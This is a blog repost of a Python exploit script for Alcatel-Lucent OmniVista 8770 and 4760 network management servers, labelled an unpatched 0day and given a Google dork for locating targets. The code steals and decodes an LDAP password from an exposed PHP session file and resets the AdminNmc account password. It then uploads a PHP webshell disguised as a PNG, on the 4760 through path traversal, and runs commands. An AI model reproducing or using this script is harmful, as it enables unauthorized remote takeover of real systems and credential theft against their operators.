Jump to content
  • Entries

    16114
  • Comments

    7952
  • Views

    86379947

Contributors to this blog

  • HireHackking 16114

About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

# Exploit Title: Alcatel-Lucent Omnivista 8770 - Remote Code Execution
# Google Dork: inurl:php-bin/webclient.php
# Date: 2019-12-01
# Author: 0x1911
# Vendor Homepage: https://www.al-enterprise.com/
# Software Link: https://www.al-enterprise.com/en/products/communications-management-security/omnivista-8770-network-management-system
# Version: All versions, still unpatched
# Tested on: Windows 2003/2008
# CVE : 0day

# Exploit attached, also available here https://git.lsd.cat/g/omnivista-rce/src/master/omnivista.py
# Full writeup at https://git.lsd.cat/g/omnivista-rce/src/master/README.md


'''
Original url: https://git.lsd.cat/g/omnivista-rce
Website: https://lsd.cat
'''
import requests
import socket
import ldap
import sys
from urllib.parse import urlparse
from urllib3.exceptions import InsecureRequestWarning
requests.packages.urllib3.disable_warnings(category=InsecureRequestWarning)

class OmniVista:
	def __init__(self, host):
		self.host = host
		self.addr = (urlparse(self.host).hostname)
		self.folders = ['php-bin/', 'soap-bin/', 'bin/', 'data/', 'Themes/', 'log/']
		self.filename = "poc.php"
		self.webshell = "<?php system($_REQUEST[0]) ?>"

	def identify(self):
		r = requests.get(self.host + 'php-bin/Webclient.php', verify=False)
		if '8770' in r.text:
			return 8770
		elif '4760' in r.text:
			return 4760
		else:
			return False

	def checkldap(self):
		s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
		s.settimeout(10)
		result = s.connect_ex((self.addr, 389))
		if result == 0:
			return True

	def info(self):
		r = requests.post(self.host + 'php-bin/info.php', data={"void": "phDPhd"}, verify=False)
		if 'PHP Version' in r.text:
			return r.text
		else:
			return False

	def getpassword(self):
		r = requests.get(self.host + 'php-bin/Webclient.php', verify=False)
		id = r.headers['Set-Cookie'].split(";")[0].split("=")[1]
		r = requests.get(self.host + 'sessions/sess_' + id, verify=False)
		lenght = int(r.text.split("ldapSuPass")[1][3:5])
		password = r.text.split("ldapSuPass")[1][7:7+lenght]
		return password

	def decodepassword(self, password):
		counter = 0
		key = 16
		cleartext = ""
		if password[0:5] == "{NMC}":
			password = password[5:]
		else:
			return False
		for char in password:
			if 32 <= ord(char):
				char = chr(ord(char) ^ key)
				cleartext += char
			else:
				cleartext += char
			if ord(char) != 0:
				key = counter * ord(char) % 255 >> 3
			else:
				key = 16
			counter += 1
		return cleartext

	def connectldap(self):
		connect = ldap.initialize('ldap://' + self.addr)
		connect.set_option(ldap.OPT_REFERRALS, 0)
		connect.simple_bind_s(self.username, self.password)
		result = connect.search_s('o=nmc', ldap.SCOPE_SUBTREE, '(cn=AdminNmc)')
		print('[*] Current AdminNmc password: ' + str(result[0][1]['userpassword'][0]))
		self.bind = connect
		return True

	def editadminpassword(self):
		self.adminusername = "AdminNmc"
		self.adminpassword = "Lsdcat_exploit1!"
		self.bind.modify_s("uid=AdminNmc,cn=Administrators,cn=8770 administration,o=nmc", [(ldap.MOD_REPLACE, 'userpassword', self.adminpassword.encode('utf-8') )])
		return True

	def login(self):
		self.session = requests.session()
		r = self.session.post(self.host + 'php-bin/webclient.php', data = {"action": "loginCheck", "userLogin": self.adminusername, "userPass": self.adminpassword }, verify = False)
		if 'Directory license is required!' in r.text:
			return False
		else:
			return True

	def exploit8770(self):
		r = self.session.get(self.host + 'php-bin/webclient.php', params = {'action': 'editTheme', 'themeId': "2"}, verify=False)
		r = self.session.post(self.host + 'php-bin/webclient.php',
			data = {"action": "saveTheme", "themeId": "2"},
			files = { "BgImg1": (self.filename, self.webshell, "image/png")},
			verify = False)
		if 'success' in r.text:
			return True

	def exec8770(self):
		return requests.post(self.host + 'Theme2/' + 'poc.php', data = {"0": cmd}, verify=False).text

	def exploit4760(self):
		for folder in self.folders:
			r = requests.post(self.host + 'php-bin/webclient.php',
				data = {"action": "saveTheme", "themeId": "5/../../{}".format(folder), "themeDate": ""},
				files = { "BgImg1": (self.filename, self.webshell, "image/png")},
			verify=False)
			if 'success' in r.text:
				self.folder = folder
				return True

	def exec4760(self, cmd):
		return requests.post(self.host + self.folder + 'poc.php', data = {"0": cmd}, verify=False).text

	def autoexploit(self):
		print('[*] Attempting to exploit on {}'.format(self.host))
		self.model = self.identify()
		if self.model == 4760:
			print('[*] Model is {}'.format(str(self.model)))
			self.exploit4760()
			print('[*] Upload folder is {}'.format(self.folder))
			output = self.exec4760("whoami")
			print('[*] Webshell at {}{}{}'.format(self.host, self.folder, self.filename))
			print('[*] Command output: '.format(output))
		elif self.model == 8770:
			print('[*] Model is {}'.format(str(self.model)))
			self.username = "cn=Directory Manager"
			self.password = self.decodepassword(self.getpassword())
			print('[*] {} password is "{}"'.format(self.username, self.password))
			if self.checkldap():
				print('[*] LDAP Service is accessible!')
				self.connectldap()
				print('[*] Changing AdminNmc password')
				self.editadminpassword()
				print('[*] Logging in')
				if self.login():
					self.exploit8770()
					output = self.exec8770("whoami")
					print('[*] Webshell at {}{}{}'.format(self.host, "themes/Theme2/", self.filename))
					print('[*] Command output: '.format(output))
				else:
					print("[x] Directory license not installed :/")
					return False
			else:
				print("[x] LDAP Service is not directly accessible")
				return False

		else:
			print("[x] Target is not an OmniVista 4760/8770")
			return False

if len(sys.argv) != 2:
	print("Usage: ./omnivista.py http(s)://target.tld:port/")
else:
	exploit = OmniVista(sys.argv[1])
	exploit.autoexploit()